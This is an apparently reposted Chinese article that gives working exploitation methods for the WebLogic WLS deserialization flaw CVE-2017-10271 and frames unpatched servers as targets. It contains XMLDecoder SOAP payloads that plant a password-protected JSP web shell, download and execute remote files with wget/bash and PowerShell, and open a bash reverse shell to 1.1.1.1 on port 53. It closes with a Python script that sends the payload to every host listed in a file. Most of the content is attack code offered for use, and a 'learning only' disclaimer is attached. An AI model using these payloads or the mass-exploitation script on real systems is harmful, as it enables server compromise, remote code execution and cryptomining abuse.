原文链接:http://www.freebuf.com/vuls/160367.html
WebLogic WLS 组件漏洞(CVE-2017-10271)自2017年12月22日爆出后,至今也有20多天了,相信有责任心的企业和网管已经将服务器的漏洞修复,而至今仍未修复漏洞的服务器,为我们进行漏洞测试提供了很好的靶子。目前针对该漏洞有两种比较成熟的利用方法,一种是利用写文件的方式GetShell,一种是利用命令执行的方式下载可执行文件。本文将结合作者的实际操作,分别介绍这两种利用方法。 一、漏洞简要回顾CVE-2017-10271是利用Oracle WebLogic中WLS 组件的反序列化漏洞进行远程代码执行的,此漏洞影响的版本为10.3.6.0.0、12.1.3.0.0、12.2.1.0.0和12.2.1.2.0。对于漏洞的原理,这里就不介绍了,网上有详细的分析。该漏洞的利用方法相对简单,只需要向服务器页面 /wls-wsat/CoordinatorPortType 发送精心构造的 HTTP 请求,就可以执行相应的命令,完成相应的操作。 二、利用方法一利用java.io.PrintWriter类进行文件创建,并向文件写入数据。 1、在服务器写入test.txt文件,文件内容为“Hello,Test!”,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt,代码如下。接下来访问服务器:http://.com/bea_wls_internal/test.txt,只要文件存在,就可判断漏洞存在。 - <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
- <soapenv:Header>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <java>
- <java version="1.8.0_131" class="java.beans.XMLDecoder">
- <object class="java.io.PrintWriter">
- <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.txt</string><void method="println">
- <string>Hello,Test!</string></void><void method="close"/>
- </object>
- </java>
- </java>
- </work:WorkContext>
- </soapenv:Header>
- <soapenv:Body/>
- </soapenv:Envelope>
复制代码2、在服务器写入test.jsp文件,文件内容为jsp一句话木马,路径为:servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp,代码如下。接下来访问服务器:http://.com/bea_wls_internal/test.jsp?pwd=test&i=<需要执行的命令>即可GetShell。 - ......
- <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println">
- <string><![CDATA[<%if("test".equals(request.getParameter("pwd"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
- int a = -1;
- byte[] b = new byte[2048];
- out.print("<pre>");
- while((a=in.read(b))!=-1){
- out.println(new String(b));
- }
- out.print("</pre>");}%>]]></string></void><void method="close"/>
- .......
复制代码[url=http://image.3001.net/images/20180115/15160109052551.jpg][/url] 三、利用方法二利用java.lang.ProcessBuilder类进行本地命令调用,通过执行本地命令,下载可执行文件执行或者反弹shell。 ​ 1、通过执行wget、curl命令或者powershell,下载可执行文件并执行。目前挖矿大军基本都采用此方法,简单粗暴,不判断漏洞的存在性,直接下载并执行,成功一个算一个。
Linux代码为: - <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
- <soapenv:Header>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <java version="1.8.0_131" class="java.beans.XMLDecoder">
- <void class="java.lang.ProcessBuilder">
- <array class="java.lang.String" length="3">
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>wget http://xxxx.com/xxx | /bin/bash xxx</string>
- </void>
- </array>
- <void method="start"/></void>
- </java>
- </work:WorkContext>
- </soapenv:Header>
- <soapenv:Body/>
- </soapenv:Envelope>
复制代码Windows代码为: - ......
- <array class="java.lang.String" length="3">
- <void index="0">
- <string>powershell</string>
- </void>
- <void index="1">
- <string>-Command</string>
- </void>
- <void index="2">
- <string>(New-Object System.Net.WebClient).DownloadFile('http://***.com/***.exe','***.exe');(New-Object -com Shell.Application).ShellExecute('***.exe');</string>
- ......
复制代码2、通过执行ping命令,判断漏洞是否存在,再执行反弹shell命令。让目标服务器ping 1.1.1.1主机,在1.1.1.1上进行抓包,如果收到包数为3,ICMP数据大小为888的包,则判断漏洞存在,再执行反弹shell命令,将shell反弹至1.1.1.1的53端口。 - .......
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>ping -c 3 -s 888 1.1.1.1</string>
- </void>
- .......
复制代码- ........
- <void index="0">
- <string>/bin/bash</string>
- </void>
- <void index="1">
- <string>-c</string>
- </void>
- <void index="2">
- <string>bash -i >& /dev/tcp/1.1.1.1/53 0>&1</string>
- </void>
-
复制代码
四、一些小体会
- 1、每一种方法都不是百分之百好用,因为每个服务器的配置和环境千差万别;
- 2、weblogic的服务端口可以是80,7001,7002等;
- 3、进行文件写入时,由于各服务器weblogic安装路径有差异,对写入的文件路径需要填写准确;
- 4、进行命令执行时,<arrayclass=”java.lang.String” length=”3″>这里的长度与下面void的个数对应,且index的值从0开始;
- 5、反弹shell需要确保服务器所在网络没有进行相关的设置,否则shell弹不回来;
- 6、目前来看,利用ping的方式判断漏洞存在的准确率较高,利用命令下载并执行的成功率较高,其他方法成功率都不高。
复制代码 五、附上自己写的python脚本(仅作测试)- #coding:utf-8
- #post.py
- ​
- import urllib2
- import os
- import sys
- import socket
- import time
- payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
- <soapenv:Header>
- <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
- <java version="1.8.0_131" class="java.beans.XMLDecoder">
- <void class="java.lang.ProcessBuilder">
- <array class="java.lang.String" length="3">
- *******
- </array>
- <void method="start"/></void>
- </java>
- </work:WorkContext>
- </soapenv:Header>
- <soapenv:Body/>
- </soapenv:Envelope>'''
-
- def doPost(url,payload,header_dict):
- req = urllib2.Request(url=url,data=payload,headers=header_dict)
- try:
- time.sleep(10)
- res = urllib2.urlopen(req,timeout = 10)
- res = res.read()
- print ('OK')
- except socket.timeout,e:
- print ('Connet Timeout')
- pass
- except urllib2.URLError as error:
- print (error.reason)
- pass
- except urllib2.HTTPError as error:
- print (error.code)
- pass
-
- def main():
- if len(sys.argv) == 2:
- filename = sys.argv[1]
- if not os.path.isfile(filename):
- print('[-]' + filename + 'does not exit.')
- exit(0)
- ipList = open(filename)
- for line in ipList.readlines():
- line=line.strip('\n')
- print('[-] ' + line )
- urls = "http://" + line + "/wls-wsat/CoordinatorPortType"
- header_dict = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko','Content-Type': 'text/xml','Upgrade-Insecure-Requests':'1','Host':line}
- doPost(urls,payload1,header_dict)
- else:
- print('[-] Usage: ' + str(sys.argv[0]) + ' <ip filename>.')
-
- if __name__ == '__main__':
- main()
复制代码注:本文方法代码完全公开,请仅作学习交流使用,其余用途与本文作者无关。
|